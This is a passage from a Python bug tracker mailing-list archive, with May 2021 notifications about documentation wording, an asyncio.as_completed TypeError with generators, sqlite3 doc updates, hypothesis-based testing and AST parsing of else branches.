Stored (uncompressed) ZipExtFile in zipfile can be seekable at lower cost In-Reply-To: <1621391319.87.0.895694633998.issue44173@roundup.psfhosted.org> Message-ID: <1621391441.89.0.299070079949.issue44173@roundup.psfhosted.org> Change by JuniorJPDJ : ---------- keywords: +patch pull_requests: +24844 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26227 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 23:27:50 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 19 May 2021 03:27:50 +0000 Subject: [issue44174] Unclear meaning of _Private__names in enum docs. Message-ID: <1621394869.98.0.78361930377.issue44174@roundup.psfhosted.org> New submission from Gregory P. Smith : https://docs.python.org/3/library/enum.html#private-names """ _Private__names Private names will be normal attributes in Python 3.10 instead of either an error or a member (depending on if the name ends with an underscore). Using these names in 3.9 will issue a DeprecationWarning. """ It isn't clear from this documentation what is meant by "private names". Please expand on this to be explicit about what name pattern is being described. ---------- assignee: docs at python components: Documentation messages: 393919 nosy: docs at python, gregory.p.smith priority: normal severity: normal stage: needs patch status: open title: Unclear meaning of _Private__names in enum docs. versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 23:45:40 2021 From: report at bugs.python.org (Isaac Ge) Date: Wed, 19 May 2021 03:45:40 +0000 Subject: [issue44175] What does "cased" and "uncased" mean? Message-ID: <1621395940.01.0.564984916212.issue44175@roundup.psfhosted.org> New submission from Isaac Ge : str.istitle(): Return True if the string is a titlecased string and there is at least one character, for example uppercase characters may only follow uncased characters and lowercase characters only cased ones. Return False otherwise. I saw this description from the doc. But what does "cased" andd "uncased" mean? I looked it up on a dictionary, and the latter only says: "cased in something: completely covered with a particular material". I think "cased" may be "capitalized", but, if so, the usage of the former is not endorsed by dictionaries so that I think this word is confusing or informal. so does "uncased". ---------- assignee: docs at python components: Documentation messages: 393920 nosy: docs at python, otakutyrant priority: normal severity: normal status: open title: What does "cased" and "uncased" mean? versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 23:46:05 2021 From: report at bugs.python.org (Isaac Ge) Date: Wed, 19 May 2021 03:46:05 +0000 Subject: [issue44175] What do "cased" and "uncased" mean? In-Reply-To: <1621395940.01.0.564984916212.issue44175@roundup.psfhosted.org> Message-ID: <1621395965.6.0.698645214845.issue44175@roundup.psfhosted.org> Change by Isaac Ge : ---------- title: What does "cased" and "uncased" mean? -> What do "cased" and "uncased" mean? _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 23:55:04 2021 From: report at bugs.python.org (Josh Rosenberg) Date: Wed, 19 May 2021 03:55:04 +0000 Subject: [issue44175] What do "cased" and "uncased" mean? In-Reply-To: <1621395940.01.0.564984916212.issue44175@roundup.psfhosted.org> Message-ID: <1621396504.56.0.0637522383008.issue44175@roundup.psfhosted.org> Josh Rosenberg added the comment: "Cased": Characters which are either lowercase or uppercase (they have some other equivalent form in a different case) "Uncased": Characters which are neither uppercase nor lowercase. Do you have a suggested alternate wording? ---------- nosy: +josh.r _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 00:45:06 2021 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 19 May 2021 04:45:06 +0000 Subject: [issue42109] Use hypothesis for testing the standard library, falling back to stubs In-Reply-To: <1603301913.79.0.22425692211.issue42109@roundup.psfhosted.org> Message-ID: <1621399506.76.0.368972988844.issue42109@roundup.psfhosted.org> Guido van Rossum added the comment: Okay, well, I'm trying to understand minithesis.py, but I am despairing. The shrinking code (really everything in class TestingState) is too much to grok. You can tell from the amount of comments that this is the tour-de-force of the code, but the comments don't really help -- they seem to be mostly notes for people trying to reimplement this in another language. (Plus some snide remarks about QuickCheck.) I suppose I have to read the paper at https://drmaciver.github.io/papers/reduction-via-generation-preview.pdf ... At least that has some drawings. I am still unclear on some basics too, but presumably it's all related. PS. What does "shortlex" mean? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 01:04:33 2021 From: report at bugs.python.org (Alex DeLorenzo) Date: Wed, 19 May 2021 05:04:33 +0000 Subject: [issue44176] asyncio.as_completed() raises TypeError when the first supplied parameter is a generator that yields awaitables Message-ID: <1621400673.2.0.925525121843.issue44176@roundup.psfhosted.org> New submission from Alex DeLorenzo : According to the documentation, asyncio.as_completed() takes a positional argument, aws, as an iterable of awaitables[1]: asyncio.as_completed(aws, *, loop=None, timeout=None) Run awaitable objects in the aws iterable concurrently. As seen in the attached as_completed_gen.py file, built-in containers like lists, and iterators over them, are accepted by as_completed() as the first parameter without raising an error. However, as_completed() raises TypeError if it is called with an iterable of awaitables that is also a generator. There are examples of this behavior in as_completed_gen.py, but here is a short example using a generator expression in the main() coroutine function: from asyncio import run, as_completed async def example(): pass async def main(): coros = (example() for _ in range(10)) for coro in as_completed(coros): # raises TypeError await coro run(main()) Running that example will raise a TypeError with this message: TypeError: expect an iterable of futures, not generator If we look at the first line in the body of as_completed(), we can see why this error is thrown for generators that yield awaitables: def as_completed(fs, *, loop=None, timeout=None): if futures.isfuture(fs) or coroutines.iscoroutine(fs): raise TypeError(f"expect an iterable of futures, not {type(fs).__name__}") ... Because generators are coroutines, and the first condition in as_completed() is True, and TypeError gets raised: from asyncio import coroutines # generators and generator expressions are coroutines assert coroutines.iscoroutine(example() for _ in range(10)) Perhaps as_completed() can use inspect.isawaitable() instead, like so: from inspect import isawaitable def as_completed(fs, *, loop=None, timeout=None): if futures.isfuture(fs) or isawaitable(fs): ... I made a pull request with that change here[2]. [1] https://docs.python.org/3/library/asyncio-task.html#asyncio.as_completed [2] https://github.com/python/cpython/pull/26228 ---------- components: asyncio files: as_completed_gen.py messages: 393923 nosy: alexdelorenzo, asvetlov, yselivanov priority: normal pull_requests: 24845 severity: normal status: open title: asyncio.as_completed() raises TypeError when the first supplied parameter is a generator that yields awaitables versions: Python 3.10, Python 3.7, Python 3.8, Python 3.9 Added file: https://bugs.python.org/file50052/as_completed_gen.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 01:30:10 2021 From: report at bugs.python.org (Alex DeLorenzo) Date: Wed, 19 May 2021 05:30:10 +0000 Subject: [issue44176] asyncio.as_completed() raises TypeError when the first supplied parameter is a generator that yields awaitables In-Reply-To: <1621400673.2.0.925525121843.issue44176@roundup.psfhosted.org> Message-ID: <1621402210.11.0.386464509769.issue44176@roundup.psfhosted.org> Change by Alex DeLorenzo : ---------- type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 01:53:09 2021 From: report at bugs.python.org (Alex DeLorenzo) Date: Wed, 19 May 2021 05:53:09 +0000 Subject: [issue44176] asyncio.as_completed() raises TypeError when the first supplied parameter is a generator that yields awaitables In-Reply-To: <1621400673.2.0.925525121843.issue44176@roundup.psfhosted.org> Message-ID: <1621403589.35.0.849550020462.issue44176@roundup.psfhosted.org> Change by Alex DeLorenzo : ---------- components: +Library (Lib) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 02:06:18 2021 From: report at bugs.python.org (Xavier Morel) Date: Wed, 19 May 2021 06:06:18 +0000 Subject: =?utf-8?b?W2lzc3VlMTIwNTZdICLigKYiIChIT1JJWk9OVEFMIEVMTElQU0lTKSBzaG91?= =?utf-8?q?ld_be_an_alternative_syntax_for_=22=2E=2E=2E=22_=28FULL_STOP_FU?= =?utf-8?q?LL_STOP_FULL_STOP=29?= In-Reply-To: <1305116963.2.0.886557706655.issue12056@psf.upfronthosting.co.za> Message-ID: <1621404378.58.0.826243904006.issue12056@roundup.psfhosted.org> Xavier Morel added the comment: > But if we allow for ellipsis, then would we not also have to start allowing characters like ? and ? in Python? No, they're not defined as canonically equivalent to >= and <= by the Unicode specification: >>> unicodedata.normalize('NFKD', '?') ... >>> unicodedata.normalize('NFKD', '?') ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 02:08:08 2021 From: report at bugs.python.org (Hiroaki Mizuguchi) Date: Wed, 19 May 2021 06:08:08 +0000 Subject: [issue44120] logging.config.fileConfig/dictConfig can not import class In-Reply-To: <1620885602.73.0.397107954312.issue44120@roundup.psfhosted.org> Message-ID: <1621404488.76.0.20383354239.issue44120@roundup.psfhosted.org> Change by Hiroaki Mizuguchi : ---------- keywords: +patch pull_requests: +24846 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26229 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 02:52:29 2021 From: report at bugs.python.org (Berker Peksag) Date: Wed, 19 May 2021 06:52:29 +0000 Subject: [issue35889] sqlite3.Row doesn't have useful repr In-Reply-To: <1549112536.04.0.744689521798.issue35889@roundup.psfhosted.org> Message-ID: <1621407149.64.0.562202968799.issue35889@roundup.psfhosted.org> Berker Peksag added the comment: Let's close it as rejected. Thank you everyone for your input. ---------- resolution: -> rejected stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 02:53:06 2021 From: report at bugs.python.org (Carlton Gibson) Date: Wed, 19 May 2021 06:53:06 +0000 Subject: [issue38671] pathlib.Path.resolve(strict=False) returns relative path on Windows if the entry does not exist In-Reply-To: <1572774931.11.0.993470333259.issue38671@roundup.psfhosted.org> Message-ID: <1621407186.54.0.731019132049.issue38671@roundup.psfhosted.org> Change by Carlton Gibson : ---------- nosy: +carltongibson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 03:04:10 2021 From: report at bugs.python.org (Zac Hatfield-Dodds) Date: Wed, 19 May 2021 07:04:10 +0000 Subject: [issue42109] Use hypothesis for testing the standard library, falling back to stubs In-Reply-To: <1603301913.79.0.22425692211.issue42109@roundup.psfhosted.org> Message-ID: <1621407850.76.0.81267717767.issue42109@roundup.psfhosted.org> Zac Hatfield-Dodds added the comment: > Okay, well, I'm trying to understand minithesis.py, but I am despairing. The shrinking code (really everything in class TestingState) is too much to grok. ... I suppose I have to read the paper at https://drmaciver.github.io/papers/reduction-via-generation-preview.pdf ... I am still unclear on some basics too, but presumably it's all related. Shrinking is probably not important to understand, since it's *not* particularly related to anything but implementation details. The abstract of that paper explains why the design is important - integrated shrinking means we can report minimal (easier-to-understand) failing examples with zero user effort, and guarantee that all shrunk examples could have been generated. TestingState is, roughly, the `@given()` decorator internals: responsible for deciding how many times to run the wrapped test function, and how. Note the three phases (generate, target, shrink) - the distribution of examples can depend on the behaviour of the test function on earlier inputs. This is _more_ complex in Hypothesis and thus challenging to document. The important concept is that input examples are generated by a Possibility (ie Strategy), which internally makes a sequence of choices; and that sequence is sourced from a maybe-empty known prefix (e.g. replaying failures, mutating previous inputs) with the suffix determined by a PRNG. I feel like I'm explaining this badly, but there isn't a simple underlying thing to explain - Hypothesis works well because the user API is relatively simple, and then under the hood we have this many-layered stack of implementation details. The synergies and coverage of otherwise-pathological cases this delivers is excellent, but "multiple years and PhDs worth of detailed synergistic work" is just intrinsically complicated. > PS. What does "shortlex" mean? Sort by length, and among equal-length strings sort in the normal (alphabetical) order. For example: A < XY < ABC, etc. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 03:05:57 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 19 May 2021 07:05:57 +0000 Subject: [issue30593] Document that sqlite3.Cursor.executescript disregards isolation_level In-Reply-To: <1496874372.71.0.386718396878.issue30593@psf.upfronthosting.co.za> Message-ID: <1621407957.34.0.252308485774.issue30593@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +24847 pull_request: https://github.com/python/cpython/pull/26230 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 03:06:02 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 19 May 2021 07:06:02 +0000 Subject: [issue30593] Document that sqlite3.Cursor.executescript disregards isolation_level In-Reply-To: <1496874372.71.0.386718396878.issue30593@psf.upfronthosting.co.za> Message-ID: <1621407962.22.0.690422803386.issue30593@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24848 pull_request: https://github.com/python/cpython/pull/26231 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 03:20:12 2021 From: report at bugs.python.org (Chris Xiao) Date: Wed, 19 May 2021 07:20:12 +0000 Subject: [issue42627] urllib.request.getproxies() misparses Windows registry proxy settings In-Reply-To: <1607804872.9.0.5170746987.issue42627@roundup.psfhosted.org> Message-ID: <1621408812.4.0.409487541098.issue42627@roundup.psfhosted.org> Chris Xiao added the comment: I found this problem too. expecting for fixing ---------- nosy: +chrisxiao _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 03:21:21 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Wed, 19 May 2021 07:21:21 +0000 Subject: [issue44099] [C API] Introduce a new slot in PyModuleDef to hold the classes In-Reply-To: <1620640199.52.0.65741822747.issue44099@roundup.psfhosted.org> Message-ID: <1621408881.88.0.806916123403.issue44099@roundup.psfhosted.org> Change by Shreyan Avigyan : ---------- title: [c-api] Introduce a new slot in PyModuleDef to hold the classes -> [C API] Introduce a new slot in PyModuleDef to hold the classes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 03:32:48 2021 From: report at bugs.python.org (Berker Peksag) Date: Wed, 19 May 2021 07:32:48 +0000 Subject: [issue30593] Document that sqlite3.Cursor.executescript disregards isolation_level In-Reply-To: <1496874372.71.0.386718396878.issue30593@psf.upfronthosting.co.za> Message-ID: <1621409568.6.0.999446887399.issue30593@roundup.psfhosted.org> Berker Peksag added the comment: New changeset 76ed53ca7bf0d4a43099d9401af5fe9f75689885 by Miss Islington (bot) in branch '3.9': bpo-30593: Doc'ed that executescript() disregards isolation level (GH-26220) https://github.com/python/cpython/commit/76ed53ca7bf0d4a43099d9401af5fe9f75689885 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 03:37:39 2021 From: report at bugs.python.org (Berker Peksag) Date: Wed, 19 May 2021 07:37:39 +0000 Subject: [issue30593] Document that sqlite3.Cursor.executescript disregards isolation_level In-Reply-To: <1496874372.71.0.386718396878.issue30593@psf.upfronthosting.co.za> Message-ID: <1621409859.98.0.425269460844.issue30593@roundup.psfhosted.org> Berker Peksag added the comment: New changeset 1f483c0c1b5a9fd1062bacc2aeba6bb0e00009b7 by Miss Islington (bot) in branch '3.10': bpo-30593: Doc'ed that executescript() disregards isolation level (GH-26220) https://github.com/python/cpython/commit/1f483c0c1b5a9fd1062bacc2aeba6bb0e00009b7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 03:40:30 2021 From: report at bugs.python.org (Berker Peksag) Date: Wed, 19 May 2021 07:40:30 +0000 Subject: [issue30593] Document that sqlite3.Cursor.executescript disregards isolation_level In-Reply-To: <1496874372.71.0.386718396878.issue30593@psf.upfronthosting.co.za> Message-ID: <1621410030.09.0.898542805596.issue30593@roundup.psfhosted.org> Change by Berker Peksag : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 03:41:27 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 19 May 2021 07:41:27 +0000 Subject: [issue44106] [sqlite3] don't use politicians in examples/docs In-Reply-To: <1620686950.5.0.365288580446.issue44106@roundup.psfhosted.org> Message-ID: <1621410087.89.0.642717114545.issue44106@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +24849 pull_request: https://github.com/python/cpython/pull/26232 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 03:41:32 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 19 May 2021 07:41:32 +0000 Subject: [issue44106] [sqlite3] don't use politicians in examples/docs In-Reply-To: <1620686950.5.0.365288580446.issue44106@roundup.psfhosted.org> Message-ID: <1621410092.49.0.0119471837976.issue44106@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24850 pull_request: https://github.com/python/cpython/pull/26233 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 03:43:52 2021 From: report at bugs.python.org (Berker Peksag) Date: Wed, 19 May 2021 07:43:52 +0000 Subject: [issue44106] [sqlite3] don't use politicians in examples/docs In-Reply-To: <1620686950.5.0.365288580446.issue44106@roundup.psfhosted.org> Message-ID: <1621410232.54.0.219470203289.issue44106@roundup.psfhosted.org> Berker Peksag added the comment: New changeset db20afe6c43ad585577589131bf658ce7ebe6bd2 by Miss Islington (bot) in branch '3.9': bpo-44106: Improve sqlite3 example database contents (GH-26027) https://github.com/python/cpython/commit/db20afe6c43ad585577589131bf658ce7ebe6bd2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 03:44:06 2021 From: report at bugs.python.org (Berker Peksag) Date: Wed, 19 May 2021 07:44:06 +0000 Subject: [issue44106] [sqlite3] don't use politicians in examples/docs In-Reply-To: <1620686950.5.0.365288580446.issue44106@roundup.psfhosted.org> Message-ID: <1621410246.45.0.212480326137.issue44106@roundup.psfhosted.org> Berker Peksag added the comment: New changeset 3185bc9d3f38ce9d814aecf8104f1d6953c2d8ff by Miss Islington (bot) in branch '3.10': bpo-44106: Improve sqlite3 example database contents (GH-26027) https://github.com/python/cpython/commit/3185bc9d3f38ce9d814aecf8104f1d6953c2d8ff ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 03:46:28 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 19 May 2021 07:46:28 +0000 Subject: [issue44106] [sqlite3] don't use politicians in examples/docs In-Reply-To: <1620686950.5.0.365288580446.issue44106@roundup.psfhosted.org> Message-ID: <1621410388.65.0.715721912947.issue44106@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24851 pull_request: https://github.com/python/cpython/pull/26234 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 04:04:22 2021 From: report at bugs.python.org (Berker Peksag) Date: Wed, 19 May 2021 08:04:22 +0000 Subject: [issue42862] Use functools.lru_cache iso. _sqlite.Cache in sqlite3 module In-Reply-To: <1610066343.94.0.466682345605.issue42862@roundup.psfhosted.org> Message-ID: <1621411462.54.0.408098476998.issue42862@roundup.psfhosted.org> Berker Peksag added the comment: > Or is it ok to call gc.collect() in the test suite? It is but in this case I'd say it's a bit weird that we need to call it. Unfortunately, I don't have much time to investigate it at the moment. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 04:08:20 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 19 May 2021 08:08:20 +0000 Subject: [issue44106] [sqlite3] don't use politicians in examples/docs In-Reply-To: <1620686950.5.0.365288580446.issue44106@roundup.psfhosted.org> Message-ID: <1621411700.73.0.899744566936.issue44106@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24852 pull_request: https://github.com/python/cpython/pull/26235 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 04:08:25 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 19 May 2021 08:08:25 +0000 Subject: [issue44106] [sqlite3] don't use politicians in examples/docs In-Reply-To: <1620686950.5.0.365288580446.issue44106@roundup.psfhosted.org> Message-ID: <1621411705.29.0.379098835919.issue44106@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24853 pull_request: https://github.com/python/cpython/pull/26236 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 04:08:37 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 19 May 2021 08:08:37 +0000 Subject: [issue21465] sqlite3 Row can return duplicate keys when using adapters In-Reply-To: <1399672256.68.0.166250570949.issue21465@psf.upfronthosting.co.za> Message-ID: <1621411717.98.0.299874097836.issue21465@roundup.psfhosted.org> Erlend E. Aasland added the comment: AFAICS, this has nothing to do with adapters; you'll get duplicate keys just by executing 'select 1 as "token", 2 as "token"'. If you want the columns to have unique names, you should assign them unique names. At most, there could be a sentence about this in the docs ("best practices"), but IMO this should be obvious. I would leave the docs as they are. Suggesting to close this as not a bug. ---------- assignee: ghaering -> nosy: +berker.peksag, erlendaasland -ghaering status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 04:17:13 2021 From: report at bugs.python.org (Berker Peksag) Date: Wed, 19 May 2021 08:17:13 +0000 Subject: [issue44106] [sqlite3] don't use politicians in examples/docs In-Reply-To: <1620686950.5.0.365288580446.issue44106@roundup.psfhosted.org> Message-ID: <1621412233.58.0.609672582941.issue44106@roundup.psfhosted.org> Berker Peksag added the comment: New changeset 5b5a10c8740aa5e9fd68a10d9cb23b0e7d61ce98 by Miss Islington (bot) in branch '3.9': bpo-44106: Purge unused sqlite3 doc includes (GH-26234) https://github.com/python/cpython/commit/5b5a10c8740aa5e9fd68a10d9cb23b0e7d61ce98 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 04:17:22 2021 From: report at bugs.python.org (Berker Peksag) Date: Wed, 19 May 2021 08:17:22 +0000 Subject: [issue44106] [sqlite3] don't use politicians in examples/docs In-Reply-To: <1620686950.5.0.365288580446.issue44106@roundup.psfhosted.org> Message-ID: <1621412242.88.0.568811136262.issue44106@roundup.psfhosted.org> Berker Peksag added the comment: New changeset e57bef1b73abb8e89d927053bd7e4fdbf44687bf by Miss Islington (bot) in branch '3.10': bpo-44106: Purge unused sqlite3 doc includes (GH-26234) https://github.com/python/cpython/commit/e57bef1b73abb8e89d927053bd7e4fdbf44687bf ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 04:27:43 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 19 May 2021 08:27:43 +0000 Subject: [issue44106] [sqlite3] don't use politicians in examples/docs In-Reply-To: <1620686950.5.0.365288580446.issue44106@roundup.psfhosted.org> Message-ID: <1621412863.15.0.276786406655.issue44106@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 04:39:29 2021 From: report at bugs.python.org (Berker Peksag) Date: Wed, 19 May 2021 08:39:29 +0000 Subject: [issue44079] [sqlite3] remove superfluous statement weak ref list from connection object In-Reply-To: <1620503004.28.0.3842383449.issue44079@roundup.psfhosted.org> Message-ID: <1621413569.12.0.108966238301.issue44079@roundup.psfhosted.org> Berker Peksag added the comment: https://github.com/ghaering/pysqlite/commit/33f99be6be5ad7d69767ff172441f1a860416e82 states the following: - Use a list of weak references of statements in the Connection class to keep track of all statements used with this connection. This is necessary to be able to reset all statements used in a connection. My understanding is that their usages is a bit different: one is for performance reasons (and it can configurable by users) and the other is to keep track of statements inside a connection. I'm not fully sure that the both use cases can be combined. ---------- type: resource usage -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 04:59:48 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 May 2021 08:59:48 +0000 Subject: [issue35765] Document references object x but doesn't show it in the example In-Reply-To: <1547771500.83.0.912392206765.issue35765@roundup.psfhosted.org> Message-ID: <1621414788.04.0.0381914238267.issue35765@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 04:59:55 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 May 2021 08:59:55 +0000 Subject: [issue35765] Document references object x but doesn't show it in the example In-Reply-To: <1547771500.83.0.912392206765.issue35765@roundup.psfhosted.org> Message-ID: <1621414795.79.0.630397075576.issue35765@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 74eb94af2b0ca652d4b6b9b853601a8b8ac7dca1 by Miss Islington (bot) in branch '3.9': bpo-35765: Clarify references to "object x" in the JSON tutorial (GH-22411) (GH-26219) https://github.com/python/cpython/commit/74eb94af2b0ca652d4b6b9b853601a8b8ac7dca1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 04:59:55 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 May 2021 08:59:55 +0000 Subject: [issue35765] Document references object x but doesn't show it in the example In-Reply-To: <1547771500.83.0.912392206765.issue35765@roundup.psfhosted.org> Message-ID: <1621414795.56.0.0170804747541.issue35765@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 5f2afff1ddbf11c8dfa9ddc98fb7a2f2d86eabde by Miss Islington (bot) in branch '3.10': bpo-35765: Clarify references to "object x" in the JSON tutorial (GH-22411) (GH-26218) https://github.com/python/cpython/commit/5f2afff1ddbf11c8dfa9ddc98fb7a2f2d86eabde ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 05:17:32 2021 From: report at bugs.python.org (Ken Jin) Date: Wed, 19 May 2021 09:17:32 +0000 Subject: [issue44174] Unclear meaning of _Private__names in enum docs. In-Reply-To: <1621394869.98.0.78361930377.issue44174@roundup.psfhosted.org> Message-ID: <1621415852.9.0.8729187813.issue44174@roundup.psfhosted.org> Ken Jin added the comment: I think linking to this part of the docs may help https://docs.python.org/3/reference/expressions.html#atom-identifiers There's also already a label to reference to, so the sentence could start with :ref:`Private names `. ---------- keywords: +easy, newcomer friendly nosy: +kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 05:18:18 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 19 May 2021 09:18:18 +0000 Subject: [issue44010] IDLE: highlight soft keywords In-Reply-To: <1619968726.44.0.898029339856.issue44010@roundup.psfhosted.org> Message-ID: <1621415898.69.0.548700915096.issue44010@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +24854 pull_request: https://github.com/python/cpython/pull/26237 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 05:20:06 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 19 May 2021 09:20:06 +0000 Subject: [issue8264] [doc] hasattr doesn't show private (double underscore) attributes exist In-Reply-To: <1269946346.53.0.630682854213.issue8264@psf.upfronthosting.co.za> Message-ID: <1621416006.34.0.138350009187.issue8264@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +24855 pull_request: https://github.com/python/cpython/pull/26238 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 05:44:17 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 19 May 2021 09:44:17 +0000 Subject: [issue44010] IDLE: highlight soft keywords In-Reply-To: <1619968726.44.0.898029339856.issue44010@roundup.psfhosted.org> Message-ID: <1621417457.84.0.0638043704638.issue44010@roundup.psfhosted.org> miss-islington added the comment: New changeset 3357604db966693b752cbd9ffc3ad0f40b970d31 by Miss Islington (bot) in branch '3.10': bpo-44010: IDLE: colorize pattern-matching soft keywords (GH-25851) https://github.com/python/cpython/commit/3357604db966693b752cbd9ffc3ad0f40b970d31 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 05:44:48 2021 From: report at bugs.python.org (Eli_B) Date: Wed, 19 May 2021 09:44:48 +0000 Subject: [issue25190] Define StringIO seek offset as code point offset In-Reply-To: <1442729712.98.0.451356431809.issue25190@psf.upfronthosting.co.za> Message-ID: <1621417488.92.0.344816349347.issue25190@roundup.psfhosted.org> Change by Eli_B : ---------- nosy: +Eli_B _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 05:49:02 2021 From: report at bugs.python.org (Bikram Singh Mehra) Date: Wed, 19 May 2021 09:49:02 +0000 Subject: [issue44177] Unable to get the else while parsing through AST module Message-ID: <1621417742.65.0.783924257321.issue44177@roundup.psfhosted.org> New submission from Bikram Singh Mehra : Hi Team, I was parsing python file using AST module but ran into a situation where the else statement is not found in the parsed data. --------------------- Module used is: ast --------------------- In the parsed data I can see "if" followed by "elif" but the "else" part I am not able to see. Sample code used: --------------------- sample_data = """ if num > 0: print("Positive number") elif num == 0: print("Zero") else: print("Negative number") """ --------------------- tree = ast.parse(sample_data ) The above code provide me below data in ast.dump(tree) Module(body=[If(test=Compare(left=Name(id='num', ctx=Load()), ops=[Gt()], comparators=[Constant(value=0, kind=None)]), body=[Expr(value=Call(func=Name(id='print', ctx=Load()), args=[Constant(value='Positive number', kind=None)], keywords=[]))], orelse=[If(test=Compare(left=Name(id='num', ctx=Load()), ops=[Eq()], comparators=[Constant(value=0, kind=None)]), body=[Expr(value=Call(func=Name(id='print', ctx=Load()), args=[Constant(value='Zero', kind=None)], keywords=[]))], orelse=[Expr(value=Call(func=Name(id='print', ctx=Load()), args=[Constant(value='Negative number', kind=None)], keywords=[]))])])], type_ignores=[]) While I was traversing through this tree I can't see else in the structure because it is subpart of orelse i.e. inside elif part. Doc referred is : https://docs.python.org/3/library/ast.html Thanks and Best Regards, Bikram ---------- components: Parser messages: 393941 nosy: bikrammehra97, lys.nikolaou, pablogsal priority: normal severity: normal status: open title: Unable to get the else while parsing through AST module type: enhancement versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 05:53:39 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 19 May 2021 09:53:39 +0000 Subject: [issue44079] [sqlite3] remove superfluous statement weak ref list from connection object In-Reply-To: <1620503004.28.0.3842383449.issue44079@roundup.psfhosted.org> Message-ID: <1621418019.57.0.388556259788.issue44079@roundup.psfhosted.org> Erlend E. Aasland added the comment: Yes, that seems to be the intention. But, I don't think there is a need to maintain the second list: 1. Resetting statements was historically needed both for commit and rollback; pending statements would block such operations. That's no longer the case for recent SQLite versions (commits fixed in SQLite 